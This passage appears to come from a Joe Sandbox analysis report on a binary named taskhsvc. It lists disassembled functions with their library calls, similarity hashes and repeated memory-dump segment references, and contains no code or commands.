                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$free
                                                                                                                          • String ID: created$created_fast
                                                                                                                          • API String ID: 2817809126-2985091455
                                                                                                                          • Opcode ID: fa57481eb9ba3d823edc7571d4c6f50fe25b60c4507d92a01b0f76cc76550bb1
                                                                                                                          • Instruction ID: 10206313826b5f3cd04bc0949bb3be9677d0585f9b6d6a9db2aada170454441b
                                                                                                                          • Opcode Fuzzy Hash: fa57481eb9ba3d823edc7571d4c6f50fe25b60c4507d92a01b0f76cc76550bb1
                                                                                                                          • Instruction Fuzzy Hash: B6A107B49052599FDB10EF29C58979DBBF0BF58340F0484A9E89C9B351D774DA80CF22
                                                                                                                          Function 00C35059 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 192COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00C350CB
                                                                                                                            • Part of subcall function 00D5EC9D: __stack_chk_fail.LIBSSP-0 ref: 00D5ED21
                                                                                                                          • memcpy.MSVCRT ref: 00C35201
                                                                                                                          • memcpy.MSVCRT ref: 00C35271
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C352F2
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$memcpystrrchr$abort
                                                                                                                          • String ID: T.
                                                                                                                          • API String ID: 2168895352-1064283328
                                                                                                                          • Opcode ID: 682bd0e4feecdeafb250c1f7a558cfeef04c61edb285faf760e48f8158762493
                                                                                                                          • Instruction ID: 93f75f69af88304b24db44281b9b5c20b65165ea5fea70adac19959dfaa3b910
                                                                                                                          • Opcode Fuzzy Hash: 682bd0e4feecdeafb250c1f7a558cfeef04c61edb285faf760e48f8158762493
                                                                                                                          • Instruction Fuzzy Hash: D181E7B4A042099FCB04DFA9D981AAEFBF1FF48304F148569E494AB341D778E945CF62
                                                                                                                          Function 00D18029 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 174COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D162E8: abort.MSVCRT ref: 00D1633E
                                                                                                                            • Part of subcall function 00D162E8: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D18A50), ref: 00D16351
                                                                                                                          • abort.MSVCRT ref: 00D1808D
                                                                                                                            • Part of subcall function 00D3663E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00C3C706), ref: 00D3666A
                                                                                                                            • Part of subcall function 00D17808: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D181F5), ref: 00D17906
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • abort.MSVCRT ref: 00D180CC
                                                                                                                          • abort.MSVCRT ref: 00D18110
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D18327
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$strrchr
                                                                                                                          • String ID: $te
                                                                                                                          • API String ID: 797389190-3128232487
                                                                                                                          • Opcode ID: 1d61017eb86b68d2bcb81c2d85106e5eaf0806f23467619bb5b2651410fca16e
                                                                                                                          • Instruction ID: b2da46d10d3993a06b085b939462f58b6e8381b82bfce6df6e64dff0a10ae9d6
                                                                                                                          • Opcode Fuzzy Hash: 1d61017eb86b68d2bcb81c2d85106e5eaf0806f23467619bb5b2651410fca16e
                                                                                                                          • Instruction Fuzzy Hash: 7281F6B09083049FCB00EFA5D1456AEBBF0BF44705F158869F4E8AB291DB78C984DF66
                                                                                                                          Function 00C3807D Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 122COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00C380E4
                                                                                                                            • Part of subcall function 00D39D53: __stack_chk_fail.LIBSSP-0 ref: 00D39DB3
                                                                                                                            • Part of subcall function 00BE2AC7: event_base_loopexit.LIBEVENT-2-0-5 ref: 00BE2AFF
                                                                                                                            • Part of subcall function 00BE2AC7: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BE2BF1), ref: 00BE2B1A
                                                                                                                          • abort.MSVCRT ref: 00C38129
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C38275
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr$event_base_loopexit
                                                                                                                          • String ID: <NULL>$TC$`]
                                                                                                                          • API String ID: 2152289126-4207269055
                                                                                                                          • Opcode ID: c3c9d919530fc5aecf3c413d96fdd615543c44ad4ca386fd8421aeebf021883a
                                                                                                                          • Instruction ID: b10f71b434efa1dfeaed523eba6d476e44559800c680a0283356fe0759a9ee01
                                                                                                                          • Opcode Fuzzy Hash: c3c9d919530fc5aecf3c413d96fdd615543c44ad4ca386fd8421aeebf021883a
                                                                                                                          • Instruction Fuzzy Hash: 5351C5B4A04305DFCB00DFA5D5456AEBBF0BF88704F05981AF894A7351D778D945CB62
                                                                                                                          Function 00D5C1D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D4107E: abort.MSVCRT ref: 00D410D1
                                                                                                                            • Part of subcall function 00D4107E: malloc.MSVCRT ref: 00D410E9
                                                                                                                            • Part of subcall function 00D4107E: exit.MSVCRT ref: 00D4112A
                                                                                                                            • Part of subcall function 00D4107E: __stack_chk_fail.LIBSSP-0 ref: 00D4113D
                                                                                                                          • abort.MSVCRT ref: 00D5C24D
                                                                                                                            • Part of subcall function 00D59DEB: abort.MSVCRT ref: 00D59E47
                                                                                                                            • Part of subcall function 00D59DEB: abort.MSVCRT ref: 00D59E86
                                                                                                                            • Part of subcall function 00D59DEB: SHA1.LIBEAY32 ref: 00D59E9F
                                                                                                                            • Part of subcall function 00D59DEB: __stack_chk_fail.LIBSSP-0 ref: 00D59EB7
                                                                                                                          • memcpy.MSVCRT ref: 00D5C266
                                                                                                                          • memcpy.MSVCRT ref: 00D5C2D4
                                                                                                                          • free.MSVCRT ref: 00D5C329
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D5C35E
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
